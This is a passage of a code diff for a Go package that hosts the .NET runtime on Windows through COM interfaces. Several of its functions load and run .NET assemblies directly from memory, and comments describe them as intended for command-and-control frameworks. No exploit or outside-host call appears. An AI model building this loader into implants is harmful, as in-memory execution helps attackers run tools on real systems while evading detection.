||||
must(err)
|
||||
if *ret != 0 {
|
||||
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
|
||||
}
|
||||
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
|
||||
// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
|
||||
// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
|
||||
// You can supply an array of strings as command line arguments.
|
||||
func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
|
||||
retCode = -1
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
appDomain.Release()
|
||||
runtimeHost.Release()
|
||||
runtimeInfo.Release()
|
||||
metahost.Release()
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
// LoadCLR loads the target runtime into the current process and returns the runtimehost
|
||||
// The intended purpose is for the runtimehost to be reused for subsequent operations
|
||||
// throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
|
||||
if targetRuntime == "" {
|
||||
targetRuntime = "v4"
|
||||
}
|
||||
|
||||
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
|
||||
if err != nil {
|
||||
return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
|
||||
}
|
||||
|
||||
runtimes, err := GetInstalledRuntimes(metahost)
|
||||
debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var latestRuntime string
|
||||
for _, r := range runtimes {
|
||||
if strings.Contains(r, targetRuntime) {
|
||||
latestRuntime = r
|
||||
break
|
||||
} else {
|
||||
latestRuntime = r
|
||||
}
|
||||
}
|
||||
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
isLoadable, err := runtimeInfo.IsLoadable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if !isLoadable {
|
||||
err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
|
||||
}
|
||||
|
||||
return GetICORRuntimeHost(runtimeInfo)
|
||||
}
|
||||
|
||||
// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
|
||||
// loads the assembly into, executes the assembly, and then releases AppDomain
|
||||
// Intended to be used by C2 frameworks to quickly execute an assembly one time
|
||||
func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
methodInfo, err := assembly.GetEntryPoint()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
assembly.Release()
|
||||
appDomain.Release()
|
||||
return
|
||||
}
|
||||
|
||||
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
|
||||
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
|
||||
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
|
||||
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
|
||||
appDomain, err := GetAppDomain(runtimeHost)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
safeArrayPtr, err := CreateSafeArray(rawBytes)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
assembly, err := appDomain.Load_3(safeArrayPtr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
return assembly.GetEntryPoint()
|
||||
}
|
||||
|
||||
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
|
||||
// The intended purpose is for the assembly to be executed many times throught the duration of the
|
||||
// program. Commonly used with C2 frameworks
|
||||
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
|
||||
var paramSafeArray *SafeArray
|
||||
methodSignature, err := methodInfo.GetString()
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
|
||||
if expectsParams(methodSignature) {
|
||||
if paramSafeArray, err = PrepareParameters(params); err != nil {
|
||||
stderr = err.Error()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
nullVariant := Variant{
|
||||
VT: 1,
|
||||
Val: uintptr(0),
|
||||
}
|
||||
|
||||
defer SafeArrayDestroy(paramSafeArray)
|
||||
|
||||
// Ensure exclusive access to read/write STDOUT/STDERR
|
||||
mutex.Lock()
|
||||
defer mutex.Unlock()
|
||||
|
||||
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
|
||||
if err != nil {
|
||||
stderr = err.Error()
|
||||
// Don't return because there could be data on STDOUT/STDERR
|
||||
}
|
||||
|
||||
// Read data from previously redirected STDOUT/STDERR
|
||||
if wSTDOUT != nil {
|
||||
var e string
|
||||
stdout, e, err = ReadStdoutStderr()
|
||||
stderr += e
|
||||
if err != nil {
|
||||
stderr += err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
|
||||
IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
|
||||
IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
|
||||
CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
|
||||
IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
|
||||
IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
|
||||
// IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
|
||||
IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
|
||||
IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
|
||||
)
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package clr
|
||||
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
|
||||
// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
|
||||
|
||||
const (
|
||||
S_OK = 0x00
|
||||
S_FALSE = 0x01
|
||||
// COR_E_TARGETINVOCATION is TargetInvocationException
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
|
||||
COR_E_TARGETINVOCATION uint32 = 0x80131604
|
||||
// COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
|
||||
COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
|
||||
// COR_E_BADIMAGEFORMAT is BadImageFormatException
|
||||
COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
|
||||
// DISP_E_BADPARAMCOUNT is invalid number of parameters
|
||||
DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
|
||||
// E_POINTER Pointer that is not valid
|
||||
E_POINTER uint32 = 0x80004003
|
||||
// E_NOINTERFACE No such interface supported
|
||||
E_NOINTERFACE uint32 = 0x80004002
|
||||
)
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Couldnt have done any of this without this SO answer I stumbled on:
|
||||
// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
|
||||
|
||||
//ICLRMetaHost Interface from metahost.h
|
||||
type ICLRMetaHost struct {
|
||||
vtbl *ICLRMetaHostVtbl
|
||||
}
|
||||
|
||||
// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
|
||||
// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
|
||||
// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
|
||||
// shutdown, and query legacy API binding.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
|
||||
type ICLRMetaHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
GetRuntime uintptr
|
||||
// GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
|
||||
// given its file path. This method supersedes GetFileVersion.
|
||||
GetVersionFromFile uintptr
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR version that is installed on a computer.
|
||||
EnumerateInstalledRuntimes uintptr
|
||||
// EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
|
||||
// pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
|
||||
EnumerateLoadedRuntimes uintptr
|
||||
// RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
|
||||
// CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
|
||||
RequestRuntimeLoadedNotification uintptr
|
||||
// QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
|
||||
// has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the <startup> Element
|
||||
// configuration file entry, by direct use of the legacy activation APIs, or by calling the
|
||||
// ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
|
||||
QueryLegacyV2RuntimeBinding uintptr
|
||||
// ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
|
||||
ExitProcess uintptr
|
||||
}
|
||||
|
||||
// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
|
||||
// HRESULT CLRCreateInstance(
|
||||
// [in] REFCLSID clsid,
|
||||
// [in] REFIID riid,
|
||||
// [out] LPVOID * ppInterface
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
|
||||
func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
|
||||
debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
|
||||
|
||||
if clsid != CLSID_CLRMetaHost {
|
||||
err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
|
||||
return
|
||||
}
|
||||
|
||||
modMSCoree := syscall.MustLoadDLL("mscoree.dll")
|
||||
procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
|
||||
|
||||
// For some reason this procedure call returns "The specified procedure could not be found." even though it works
|
||||
hr, _, err := procCLRCreateInstance.Call(
|
||||
uintptr(unsafe.Pointer(&clsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(unsafe.Pointer(&ppInterface)),
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
|
||||
debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRMetaHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
|
||||
// version of the common language runtime (CLR) that is installed on a computer.
|
||||
// HRESULT EnumerateInstalledRuntimes (
|
||||
// [out, retval] IEnumUnknown **ppEnumerator);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
|
||||
func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
|
||||
debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumerateInstalledRuntimes,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&ppEnumerator)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
|
||||
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
|
||||
// HRESULT GetRuntime (
|
||||
// [in] LPCWSTR pwzVersion,
|
||||
// [in] REFIID riid,
|
||||
// [out,iid_is(riid), retval] LPVOID *ppRuntime
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
|
||||
func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
|
||||
debugPrint("Entering into iclrmetahost.GetRuntime()...")
|
||||
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetRuntime,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzVersion)),
|
||||
uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
|
||||
uintptr(unsafe.Pointer(&ppRuntime)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type ICLRRuntimeHost struct {
|
||||
vtbl *ICLRRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
|
||||
// provided in the .NET Framework version 1, with the following changes
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
|
||||
type ICLRRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Start Initializes the CLR into a process.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code by the runtime.
|
||||
Stop uintptr
|
||||
// SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
|
||||
SetHostControl uintptr
|
||||
// GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
|
||||
// aspects of the common language runtime (CLR).
|
||||
GetCLRControl uintptr
|
||||
// UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
|
||||
UnloadAppDomain uintptr
|
||||
// ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
|
||||
ExecuteInAppDomain uintptr
|
||||
// GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
|
||||
GetCurrentAppDomainId uintptr
|
||||
// ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
|
||||
// to be activated in a new domain.
|
||||
ExecuteApplication uintptr
|
||||
// ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
|
||||
ExecuteInDefaultAppDomain uintptr
|
||||
}
|
||||
|
||||
// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
|
||||
// returns an ICLRRuntimeHost and loads it into the current process
|
||||
func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
|
||||
debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
|
||||
var runtimeHost *ICLRRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start Initializes the common language runtime (CLR) into a process.
|
||||
// HRESULT Start();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
|
||||
func (obj *ICLRRuntimeHost) Start() error {
|
||||
debugPrint("Entering into iclrruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
|
||||
// HRESULT ExecuteInDefaultAppDomain (
|
||||
// [in] LPCWSTR pwzAssemblyPath,
|
||||
// [in] LPCWSTR pwzTypeName,
|
||||
// [in] LPCWSTR pwzMethodName,
|
||||
// [in] LPCWSTR pwzArgument,
|
||||
// [out] DWORD *pReturnValue
|
||||
// );
|
||||
// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
|
||||
// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
|
||||
func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
|
||||
hr, _, err := syscall.Syscall9(
|
||||
obj.vtbl.ExecuteInDefaultAppDomain,
|
||||
6,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzAssemblyPath)),
|
||||
uintptr(unsafe.Pointer(pwzTypeName)),
|
||||
uintptr(unsafe.Pointer(pwzMethodName)),
|
||||
uintptr(unsafe.Pointer(pwzArgument)),
|
||||
uintptr(unsafe.Pointer(pReturnValue)),
|
||||
0,
|
||||
0,
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
|
||||
// HRESULT GetCurrentAppDomainId(
|
||||
// [out] DWORD* pdwAppDomainId
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
|
||||
func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetCurrentAppDomainId,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pdwAppDomainId)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+211
@@ -0,0 +1,211 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICLRRuntimeInfo struct {
|
||||
vtbl *ICLRRuntimeInfoVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
|
||||
// including version, directory, and load status. This interface also provides runtime-specific functionality
|
||||
// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
|
||||
// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
|
||||
type ICLRRuntimeInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetVersionString Gets common language runtime (CLR) version information associated with a given
|
||||
// ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
|
||||
GetVersionString uintptr
|
||||
// GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
|
||||
// This method supersedes the GetCORSystemDirectory method.
|
||||
GetRuntimeDirectory uintptr
|
||||
// IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
|
||||
IsLoaded uintptr
|
||||
// LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
|
||||
// This method supersedes the LoadStringRC and LoadStringRCEx methods.
|
||||
LoadErrorString uintptr
|
||||
// LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
|
||||
// This method supersedes the LoadLibraryShim method.
|
||||
LoadLibrary uintptr
|
||||
// GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
|
||||
// this interface. This method supersedes the GetRealProcAddress method.
|
||||
GetProcAddress uintptr
|
||||
// GetInterface Loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
|
||||
